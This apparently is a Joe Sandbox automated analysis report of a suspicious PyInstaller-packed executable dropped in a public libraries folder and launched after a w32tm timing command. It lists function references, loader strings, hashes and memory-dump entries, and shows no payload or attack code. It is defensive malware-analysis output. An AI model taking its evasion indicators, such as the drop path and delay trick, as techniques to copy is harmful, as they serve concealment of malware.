Path:	C:\Windows\System32\w32tm.exe
Wow64 process (32bit):	false
Commandline:	w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2
Imagebase:	0x7ff6502f0000
File size:	108'032 bytes
MD5 hash:	81A82132737224D324A3E8DA993E2FB5
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	48
Start time:	01:42:13
Start date:	02/01/2025
Path:	C:\Users\Public\Libraries\NOFqHeDosUIopsPGLT.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\Public\Libraries\NOFqHeDosUIopsPGLT.exe"
Imagebase:	0x7b0000
File size:	1'917'952 bytes
MD5 hash:	64F81209BCCE8D36D800FEEC26D75990
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	9.8%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	23.5%
Total number of Nodes:	2000
Total number of Limit Nodes:	52

Executed Functions

Function 00007FF652ED1000 Relevance: 21.3, APIs: 5, Strings: 7, Instructions: 293
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF652ED3F00: GetModuleFileNameW.KERNEL32(?,00007FF652ED39CA), ref: 00007FF652ED3F34

SetDllDirectoryW.KERNEL32 ref: 00007FF652ED3BD5
PostMessageW.USER32 ref: 00007FF652ED3CC3
GetMessageW.USER32 ref: 00007FF652ED3CD6
PostMessageW.USER32 ref: 00007FF652ED3D61
GetMessageW.USER32 ref: 00007FF652ED3D74

Part of subcall function 00007FF652ED7D70: GetEnvironmentVariableW.KERNEL32(00007FF652ED39FF), ref: 00007FF652ED7DAA
Part of subcall function 00007FF652ED7D70: ExpandEnvironmentStringsW.KERNEL32 ref: 00007FF652ED7DC7

Strings

Cannot side-load external archive %s (code %d)!, xrefs: 00007FF652ED3B1F
Cannot open PyInstaller archive from executable (%s) or external archive (%s), xrefs: 00007FF652ED3AA6
_PYI_ONEDIR_MODE, xrefs: 00007FF652ED3A14, 00007FF652ED3A3F
Failed to convert DLL search path!, xrefs: 00007FF652ED3BC5
_MEIPASS2, xrefs: 00007FF652ED39EB, 00007FF652ED3A54, 00007FF652ED3D32, 00007FF652ED3D3E
Failed to initialize security descriptor for temporary directory!, xrefs: 00007FF652ED3B53
MEI, xrefs: 00007FF652ED3ADA

Memory Dump Source

Source File: 00000000.00000002.1670712868.00007FF652ED1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF652ED0000, based on PE: true

Associated: 00000000.00000002.1670666035.00007FF652ED0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670794709.00007FF652EFC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670822382.00007FF652F0F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670822382.00007FF652F11000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1671010337.00007FF652F13000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff652ed0000_t8F7Ic986c.jbxd

Similarity

API ID: Message$EnvironmentPost$DirectoryExpandFileModuleNameStringsVariable
String ID: Cannot open PyInstaller archive from executable (%s) or external archive (%s)$Cannot side-load external archive %s (code %d)!$Failed to convert DLL search path!$Failed to initialize security descriptor for temporary directory!$MEI$_MEIPASS2$_PYI_ONEDIR_MODE
API String ID: 2647325126-1544818733
Opcode ID: 7e818fdf10d144ebf1a2c27805d4b093fd68b8386923d87f4e33e82801278a2a
Instruction ID: 30eb35b29fe95acb9b4af5a3f1753b8972b06d32ed22afa375d05d3310b9ddf2
Opcode Fuzzy Hash: 7e818fdf10d144ebf1a2c27805d4b093fd68b8386923d87f4e33e82801278a2a
Instruction Fuzzy Hash: 9DC19422B0C66741EB29EB21AC512BD6351BFC578CF48113DEA4DE7696DFACE9058B00

Function 00007FF652EF6B50 Relevance: 14.3, APIs: 6, Strings: 2, Instructions: 334
timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_get_daylight.LIBCMT ref: 00007FF652EF6B95

Part of subcall function 00007FF652EF64E8: _invalid_parameter_noinfo.LIBCMT ref: 00007FF652EF64FC

Part of subcall function 00007FF652EEB700: RtlFreeHeap.NTDLL(?,?,?,00007FF652EF3B72,?,?,?,00007FF652EF3BAF,?,?,00000000,00007FF652EF4075,?,?,00000000,00007FF652EF3FA7), ref: 00007FF652EEB716
Part of subcall function 00007FF652EEB700: GetLastError.KERNEL32(?,?,?,00007FF652EF3B72,?,?,?,00007FF652EF3BAF,?,?,00000000,00007FF652EF4075,?,?,00000000,00007FF652EF3FA7), ref: 00007FF652EEB720

Part of subcall function 00007FF652EEB6B8: IsProcessorFeaturePresent.KERNEL32(?,?,?,?,00007FF652EEB697,?,?,?,?,?,00007FF652EE38BC), ref: 00007FF652EEB6C1
Part of subcall function 00007FF652EEB6B8: GetCurrentProcess.KERNEL32(?,?,?,?,00007FF652EEB697,?,?,?,?,?,00007FF652EE38BC), ref: 00007FF652EEB6E6

_get_daylight.LIBCMT ref: 00007FF652EF6B84

Part of subcall function 00007FF652EF6548: _invalid_parameter_noinfo.LIBCMT ref: 00007FF652EF655C

_get_daylight.LIBCMT ref: 00007FF652EF6DFA
_get_daylight.LIBCMT ref: 00007FF652EF6E0B
_get_daylight.LIBCMT ref: 00007FF652EF6E1C
GetTimeZoneInformation.KERNELBASE(?,?,?,?,?,?,?,?,?,00000000,?,00007FF652EF705C), ref: 00007FF652EF6E43

Strings

Eastern Summer Time, xrefs: 00007FF652EF6F01
Eastern Standard Time, xrefs: 00007FF652EF6EE9

Memory Dump Source

Source File: 00000000.00000002.1670712868.00007FF652ED1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF652ED0000, based on PE: true

Associated: 00000000.00000002.1670666035.00007FF652ED0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670794709.00007FF652EFC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670822382.00007FF652F0F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670822382.00007FF652F11000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1671010337.00007FF652F13000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff652ed0000_t8F7Ic986c.jbxd

Similarity

API ID: _get_daylight$_invalid_parameter_noinfo$CurrentErrorFeatureFreeHeapInformationLastPresentProcessProcessorTimeZone
String ID: Eastern Standard Time$Eastern Summer Time
API String ID: 4070488512-239921721
Opcode ID: 011d4974f3e124412289dc327b2b40947a146d65b03f6d5f747eb19bebd0a963
Instruction ID: 202c4161804df161e493aad559183d23e40ad0e64538e36a9cff3fab8070847a
Opcode Fuzzy Hash: 011d4974f3e124412289dc327b2b40947a146d65b03f6d5f747eb19bebd0a963
Instruction Fuzzy Hash: E0D1D362A0826286EB24AF22FC511BA7361FF4579CF48413DEA5DE7A95DFBCE441C340

Function 00007FF652EF7A9C Relevance: 13.8, APIs: 9, Instructions: 276
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF652EF77D0: _invalid_parameter_noinfo.LIBCMT ref: 00007FF652EF7811
Part of subcall function 00007FF652EF77D0: _invalid_parameter_noinfo.LIBCMT ref: 00007FF652EF788F
Part of subcall function 00007FF652EF77D0: _invalid_parameter_noinfo.LIBCMT ref: 00007FF652EF78E0

CreateFileW.KERNELBASE ref: 00007FF652EF7BA2
CreateFileW.KERNEL32 ref: 00007FF652EF7BF2
GetLastError.KERNEL32 ref: 00007FF652EF7C22
GetFileType.KERNELBASE ref: 00007FF652EF7C37
GetLastError.KERNEL32 ref: 00007FF652EF7C41
CloseHandle.KERNEL32 ref: 00007FF652EF7C74
CloseHandle.KERNEL32 ref: 00007FF652EF7DD7
CreateFileW.KERNEL32 ref: 00007FF652EF7E0C
GetLastError.KERNEL32 ref: 00007FF652EF7E1B

Memory Dump Source

Source File: 00000000.00000002.1670712868.00007FF652ED1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF652ED0000, based on PE: true

Associated: 00000000.00000002.1670666035.00007FF652ED0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670794709.00007FF652EFC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670822382.00007FF652F0F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670822382.00007FF652F11000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1671010337.00007FF652F13000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff652ed0000_t8F7Ic986c.jbxd

Similarity

API ID: File$CreateErrorLast_invalid_parameter_noinfo$CloseHandle$Type
String ID:
API String ID: 1617910340-0
Opcode ID: 8482aad9305a30c551bfc572177b6762c68ebfb4afe3bdfce811c5be068ed5ba
Instruction ID: 3d0ac4637c27dae2a3fb30f06939d0707fdee7fd11ed1f445748475436735d20
Opcode Fuzzy Hash: 8482aad9305a30c551bfc572177b6762c68ebfb4afe3bdfce811c5be068ed5ba
Instruction Fuzzy Hash: 27C1DF37B28A5285EB10CF64D8906BD3761EB49B9CF181239DA2EAB7D4DF78D456C300

Function 00007FF652ED7B60 Relevance: 12.4, APIs: 3, Strings: 4, Instructions: 141
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTempPathW.KERNEL32(00000000,?,00000000,00000000,?,00007FF652ED153F), ref: 00007FF652ED7BF7

Part of subcall function 00007FF652ED7D70: GetEnvironmentVariableW.KERNEL32(00007FF652ED39FF), ref: 00007FF652ED7DAA
Part of subcall function 00007FF652ED7D70: ExpandEnvironmentStringsW.KERNEL32 ref: 00007FF652ED7DC7

Part of subcall function 00007FF652EE8610: _invalid_parameter_noinfo.LIBCMT ref: 00007FF652EE8629

SetEnvironmentVariableW.KERNEL32 ref: 00007FF652ED7CB1

Part of subcall function 00007FF652ED2B10: MessageBoxW.USER32 ref: 00007FF652ED2BE5

Strings

TMP, xrefs: 00007FF652ED7BC0
LOADER: Failed to set the TMP environment variable., xrefs: 00007FF652ED7BDA
_MEI%d, xrefs: 00007FF652ED7C05
TMP, xrefs: 00007FF652ED7B9A, 00007FF652ED7C59, 00007FF652ED7CE7

Memory Dump Source

Source File: 00000000.00000002.1670712868.00007FF652ED1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF652ED0000, based on PE: true

Associated: 00000000.00000002.1670666035.00007FF652ED0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670794709.00007FF652EFC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670822382.00007FF652F0F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670822382.00007FF652F11000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1671010337.00007FF652F13000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff652ed0000_t8F7Ic986c.jbxd

Similarity

API ID: Environment$Variable$ExpandMessagePathStringsTemp_invalid_parameter_noinfo
String ID: LOADER: Failed to set the TMP environment variable.$TMP$TMP$_MEI%d
API String ID: 3752271684-1116378104
Opcode ID: 8ca8b3c2351723dac4712d3aa85941f8869fc0faa47b2209596cb44ab2a1f07c
Instruction ID: f1599c03a14ea12c6bc8bcc6ff900306f20bc79c6891fd3a42c778eecbfdb23d
Opcode Fuzzy Hash: 8ca8b3c2351723dac4712d3aa85941f8869fc0faa47b2209596cb44ab2a1f07c
Instruction Fuzzy Hash: FD514C11B0967345FF65A722AD162BA52416FCABC8F4C543DED0EEB7D7EDACE4028240

Function 00007FF652EDA76D Relevance: 12.0, Strings: 9, Instructions: 745COMMON

Download Yara Rule

Strings

invalid code lengths set, xrefs: 00007FF652EDA8ED
too many length or distance symbols, xrefs: 00007FF652EDA906
invalid bit length repeat, xrefs: 00007FF652EDAB59
invalid code -- missing end-of-block, xrefs: 00007FF652EDAB86
invalid literal/lengths set, xrefs: 00007FF652EDABF3
invalid distances set, xrefs: 00007FF652EDAC60
invalid distance code, xrefs: 00007FF652EDB074
invalid distance too far back, xrefs: 00007FF652EDB130
invalid literal/length code, xrefs: 00007FF652EDAEA2

Memory Dump Source

Source File: 00000000.00000002.1670712868.00007FF652ED1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF652ED0000, based on PE: true

Associated: 00000000.00000002.1670666035.00007FF652ED0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670794709.00007FF652EFC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670822382.00007FF652F0F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670822382.00007FF652F11000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1671010337.00007FF652F13000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff652ed0000_t8F7Ic986c.jbxd

Similarity

API ID:
String ID: invalid bit length repeat$invalid code -- missing end-of-block$invalid code lengths set$invalid distance code$invalid distance too far back$invalid distances set$invalid literal/length code$invalid literal/lengths set$too many length or distance symbols
API String ID: 0-2665694366
Opcode ID: 63f3ffa9379e1e3dea1ad36e367ec88dcfea323b25a29ef61fa4fbcfb838a92b
Instruction ID: 1d97d6dea635e32bd889a9ca5b35b1bd72317f5c69dee174aa75be7505b325a3
Opcode Fuzzy Hash: 63f3ffa9379e1e3dea1ad36e367ec88dcfea323b25a29ef61fa4fbcfb838a92b
Instruction Fuzzy Hash: A652E672A146B68BD7648F14D858B7E3BA9FB84344F09413DEA4A97780DFBCE944CB40

Function 00007FF652EF6DCC Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 143
timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_get_daylight.LIBCMT ref: 00007FF652EF6DFA

Part of subcall function 00007FF652EF6548: _invalid_parameter_noinfo.LIBCMT ref: 00007FF652EF655C

_get_daylight.LIBCMT ref: 00007FF652EF6E0B

Part of subcall function 00007FF652EF64E8: _invalid_parameter_noinfo.LIBCMT ref: 00007FF652EF64FC

_get_daylight.LIBCMT ref: 00007FF652EF6E1C

Part of subcall function 00007FF652EF6518: _invalid_parameter_noinfo.LIBCMT ref: 00007FF652EF652C

Part of subcall function 00007FF652EEB700: RtlFreeHeap.NTDLL(?,?,?,00007FF652EF3B72,?,?,?,00007FF652EF3BAF,?,?,00000000,00007FF652EF4075,?,?,00000000,00007FF652EF3FA7), ref: 00007FF652EEB716
Part of subcall function 00007FF652EEB700: GetLastError.KERNEL32(?,?,?,00007FF652EF3B72,?,?,?,00007FF652EF3BAF,?,?,00000000,00007FF652EF4075,?,?,00000000,00007FF652EF3FA7), ref: 00007FF652EEB720

GetTimeZoneInformation.KERNELBASE(?,?,?,?,?,?,?,?,?,00000000,?,00007FF652EF705C), ref: 00007FF652EF6E43

Strings

Eastern Summer Time, xrefs: 00007FF652EF6F01
Eastern Standard Time, xrefs: 00007FF652EF6EE9

Memory Dump Source

Source File: 00000000.00000002.1670712868.00007FF652ED1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF652ED0000, based on PE: true

Associated: 00000000.00000002.1670666035.00007FF652ED0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670794709.00007FF652EFC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670822382.00007FF652F0F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670822382.00007FF652F11000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1671010337.00007FF652F13000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff652ed0000_t8F7Ic986c.jbxd

Similarity

API ID: _get_daylight_invalid_parameter_noinfo$ErrorFreeHeapInformationLastTimeZone
String ID: Eastern Standard Time$Eastern Summer Time
API String ID: 3458911817-239921721
Opcode ID: 3ce9ff365909c35cfda0cd92fd9b5c2b6ab9c6a7c0cfccc6144e1dd1acbf6dd4
Instruction ID: 961632fb4ccff5c28fe2fdae0b72c08df49d6af367f705c0a9351a79c4a25899
Opcode Fuzzy Hash: 3ce9ff365909c35cfda0cd92fd9b5c2b6ab9c6a7c0cfccc6144e1dd1acbf6dd4
Instruction Fuzzy Hash: 9551B372A1866286E710DF22FC811AA7760FF4978CF88413DEA5DE3A95DFBCE5408740

Function 00007FF652ED9F3B Relevance: 4.1, Strings: 3, Instructions: 397COMMON

Download Yara Rule

Strings

unknown header flags set, xrefs: 00007FF652ED9F85
header crc mismatch, xrefs: 00007FF652EDA3E1
, xrefs: 00007FF652EDA01B

Memory Dump Source

Source File: 00000000.00000002.1670712868.00007FF652ED1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF652ED0000, based on PE: true

Associated: 00000000.00000002.1670666035.00007FF652ED0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670794709.00007FF652EFC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670822382.00007FF652F0F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670822382.00007FF652F11000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1671010337.00007FF652F13000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff652ed0000_t8F7Ic986c.jbxd

Similarity

API ID:
String ID: $header crc mismatch$unknown header flags set
API String ID: 0-1127688429
Opcode ID: a8b055446104684f1ad95e328151202d31fdc591d47a14639da6131c49358b20
Instruction ID: 85752a47fe1dedda91bb88f474a1605c57328ddb666958fbb7e0e8f764d482a7
Opcode Fuzzy Hash: a8b055446104684f1ad95e328151202d31fdc591d47a14639da6131c49358b20
Instruction Fuzzy Hash: 1EF174726183E54BE7A58B15C889B3E3AA9EF84748F1D453CDA4DA7790CFB8E640C740

Function 00007FF652ED8D00 Relevance: 3.0, APIs: 2, Instructions: 29COMMON

Download Yara Rule

APIs

FindFirstFileExW.KERNELBASE ref: 00007FF652ED8D31
FindClose.KERNELBASE ref: 00007FF652ED8D40

Memory Dump Source

Source File: 00000000.00000002.1670712868.00007FF652ED1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF652ED0000, based on PE: true

Associated: 00000000.00000002.1670666035.00007FF652ED0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670794709.00007FF652EFC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670822382.00007FF652F0F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670822382.00007FF652F11000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1671010337.00007FF652F13000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff652ed0000_t8F7Ic986c.jbxd

Similarity

API ID: Find$CloseFileFirst
String ID:
API String ID: 2295610775-0
Opcode ID: ecdf086f063d1ff4b022191a002e9e17b8509f6d6c47db3a09a7631b022981ea
Instruction ID: 638f960447cb12f4dc83968e8cbcbca38eb1bab3a3dc2ffddb770f6a11c25b3e
Opcode Fuzzy Hash: ecdf086f063d1ff4b022191a002e9e17b8509f6d6c47db3a09a7631b022981ea
Instruction Fuzzy Hash: C1F0A432A1868586F7A0CF60F8897667360FB9476CF08073ED66D666D4DFBCD0198B00

Function 00007FF652ED9D9B Relevance: 2.7, Strings: 2, Instructions: 218COMMON

Download Yara Rule

Strings

invalid window size, xrefs: 00007FF652ED9F09
incorrect header check, xrefs: 00007FF652ED9F22

Memory Dump Source

Source File: 00000000.00000002.1670712868.00007FF652ED1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF652ED0000, based on PE: true

Associated: 00000000.00000002.1670666035.00007FF652ED0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670794709.00007FF652EFC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670822382.00007FF652F0F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670822382.00007FF652F11000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1671010337.00007FF652F13000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff652ed0000_t8F7Ic986c.jbxd

Similarity

API ID:
String ID: incorrect header check$invalid window size
API String ID: 0-900081337
Opcode ID: 7b159ed6ab11f424a85810e34fe73a423a8b15e185d016247a9cbb34ea0f7710
Instruction ID: abd48c7ec566f16929f8badabb8e11de369fec34e634c839df872063e4ecb3c2
Opcode Fuzzy Hash: 7b159ed6ab11f424a85810e34fe73a423a8b15e185d016247a9cbb34ea0f7710
Instruction Fuzzy Hash: 7C91BA72A182D587E7A58F14D88CB7E3AA9FB84348F19413DDA4A967C0DFB8E540CB40

Function 00007FF652ED1700 Relevance: 24.6, APIs: 1, Strings: 13, Instructions: 148
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

pyi_arch_extract2fs was called before temporary directory was initialized!, xrefs: 00007FF652ED1716
Failed to extract %s: failed to open archive file!, xrefs: 00007FF652ED17C9
Failed to create symbolic link %s!, xrefs: 00007FF652ED1743
fwrite, xrefs: 00007FF652ED18DC
malloc, xrefs: 00007FF652ED185D
Failed to extract %s: failed to seek to the entry's data!, xrefs: 00007FF652ED17F6
fseek, xrefs: 00007FF652ED17FD
fopen, xrefs: 00007FF652ED1787
Failed to extract %s: failed to allocate temporary buffer!, xrefs: 00007FF652ED1856
Failed to extract %s: failed to open target file!, xrefs: 00007FF652ED1780
Failed to extract %s: failed to read data chunk!, xrefs: 00007FF652ED18E5
fread, xrefs: 00007FF652ED18EC
Failed to extract %s: failed to write data chunk!, xrefs: 00007FF652ED18D5

Memory Dump Source

Source File: 00000000.00000002.1670712868.00007FF652ED1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF652ED0000, based on PE: true

Associated: 00000000.00000002.1670666035.00007FF652ED0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670794709.00007FF652EFC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670822382.00007FF652F0F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670822382.00007FF652F11000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1671010337.00007FF652F13000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff652ed0000_t8F7Ic986c.jbxd

Similarity

API ID: Message
String ID: Failed to create symbolic link %s!$Failed to extract %s: failed to allocate temporary buffer!$Failed to extract %s: failed to open archive file!$Failed to extract %s: failed to open target file!$Failed to extract %s: failed to read data chunk!$Failed to extract %s: failed to seek to the entry's data!$Failed to extract %s: failed to write data chunk!$fopen$fread$fseek$fwrite$malloc$pyi_arch_extract2fs was called before temporary directory was initialized!
API String ID: 2030045667-3833288071
Opcode ID: c5d2b1fe77158624b544ad189e1269337dcf1207535d0e93ed6b37356d3eb2cf
Instruction ID: bec636a23b368cec6d45e9a484c1a1a1560773c4d4407361b0a5df1b768b826e
Opcode Fuzzy Hash: c5d2b1fe77158624b544ad189e1269337dcf1207535d0e93ed6b37356d3eb2cf
Instruction Fuzzy Hash: 2C51B066B186A382EB10DB11EC102BA6351BF85BD8F4C503DDE4DAB6A6DFBCE544C300

Function 00007FF652ED1A90 Relevance: 19.4, APIs: 2, Strings: 9, Instructions: 135
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF652ED84C0: _fread_nolock.LIBCMT ref: 00007FF652ED856A

_fread_nolock.LIBCMT ref: 00007FF652ED1B44

Part of subcall function 00007FF652ED2870: MessageBoxW.USER32 ref: 00007FF652ED297B

Strings

Failed to read cookie!, xrefs: 00007FF652ED1B4F
Could not allocate buffer for TOC!, xrefs: 00007FF652ED1BC6
Failed to seek to cookie position!, xrefs: 00007FF652ED1B1C
Could not read full TOC!, xrefs: 00007FF652ED1BF9
Error on file., xrefs: 00007FF652ED1C26
malloc, xrefs: 00007FF652ED1BCD
fread, xrefs: 00007FF652ED1B56, 00007FF652ED1C00
MEI, xrefs: 00007FF652ED1AD2
fseek, xrefs: 00007FF652ED1B23

Memory Dump Source

Source File: 00000000.00000002.1670712868.00007FF652ED1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF652ED0000, based on PE: true

Associated: 00000000.00000002.1670666035.00007FF652ED0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670794709.00007FF652EFC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670822382.00007FF652F0F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670822382.00007FF652F11000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1671010337.00007FF652F13000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff652ed0000_t8F7Ic986c.jbxd

Similarity

API ID: _fread_nolock$Message
String ID: Could not allocate buffer for TOC!$Could not read full TOC!$Error on file.$Failed to read cookie!$Failed to seek to cookie position!$MEI$fread$fseek$malloc
API String ID: 677216364-1384898525
Opcode ID: bf128d8c0f4f5afb435b79e4ddcccd3715ca7ff058bce9239159cfeb574f13cf
Instruction ID: 7f5e1cfbb4048fc3409d79c7b7cc7cac95eec8d3311b56405f27a393616b408e
Opcode Fuzzy Hash: bf128d8c0f4f5afb435b79e4ddcccd3715ca7ff058bce9239159cfeb574f13cf
Instruction Fuzzy Hash: 42518372A1965286EB18DF24EC501B933A0EF88B8CF59853DDA0DE7795DEBCE440C704

Function 00007FF652ED8290 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 90
processsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF652ED8DE0: MultiByteToWideChar.KERNEL32(?,?,?,?,?,00007FF652ED2A9B), ref: 00007FF652ED8E1A

SetConsoleCtrlHandler.KERNEL32(00000000,00007FF652ED3D8D), ref: 00007FF652ED82DF
GetStartupInfoW.KERNEL32 ref: 00007FF652ED82FE

Part of subcall function 00007FF652EEB234: _invalid_parameter_noinfo.LIBCMT ref: 00007FF652EEB248

Part of subcall function 00007FF652EE8E54: _invalid_parameter_noinfo.LIBCMT ref: 00007FF652EE8EBB

GetCommandLineW.KERNEL32 ref: 00007FF652ED839E
CreateProcessW.KERNELBASE ref: 00007FF652ED83E0
WaitForSingleObject.KERNEL32 ref: 00007FF652ED83F4
GetExitCodeProcess.KERNELBASE ref: 00007FF652ED8404

Strings

CreateProcessW, xrefs: 00007FF652ED8417
Error creating child process!, xrefs: 00007FF652ED8410

Memory Dump Source

Source File: 00000000.00000002.1670712868.00007FF652ED1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF652ED0000, based on PE: true

Associated: 00000000.00000002.1670666035.00007FF652ED0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670794709.00007FF652EFC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670822382.00007FF652F0F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670822382.00007FF652F11000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1671010337.00007FF652F13000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff652ed0000_t8F7Ic986c.jbxd

Similarity

API ID: Process_invalid_parameter_noinfo$ByteCharCodeCommandConsoleCreateCtrlExitHandlerInfoLineMultiObjectSingleStartupWaitWide
String ID: CreateProcessW$Error creating child process!
API String ID: 2895956056-3524285272
Opcode ID: b7abaf37a347f063a3628d3e0586489636cc93df3d8b7db5f5a9dd5ff1266243
Instruction ID: 5bd2df48b4d1b6d0ac0c9d186641800ec3adcdfdf96b928d19c984ed873b47b5
Opcode Fuzzy Hash: b7abaf37a347f063a3628d3e0586489636cc93df3d8b7db5f5a9dd5ff1266243
Instruction Fuzzy Hash: F2413332A0879281DA20DB64F8552AAB3A4FF94368F54073DE6AD937E5DFBCD0458B00

Function 00007FF652ED1050 Relevance: 12.4, APIs: 1, Strings: 6, Instructions: 154
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

1.3.1, xrefs: 00007FF652ED107E
Failed to extract %s: inflateInit() failed with return code %d!, xrefs: 00007FF652ED10B4
Failed to extract %s: decompression resulted in return code %d!, xrefs: 00007FF652ED1249
Failed to extract %s: failed to allocate temporary input buffer!, xrefs: 00007FF652ED10F1
Failed to extract %s: failed to allocate temporary output buffer!, xrefs: 00007FF652ED111F
malloc, xrefs: 00007FF652ED10F8, 00007FF652ED1126

Memory Dump Source

Source File: 00000000.00000002.1670712868.00007FF652ED1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF652ED0000, based on PE: true

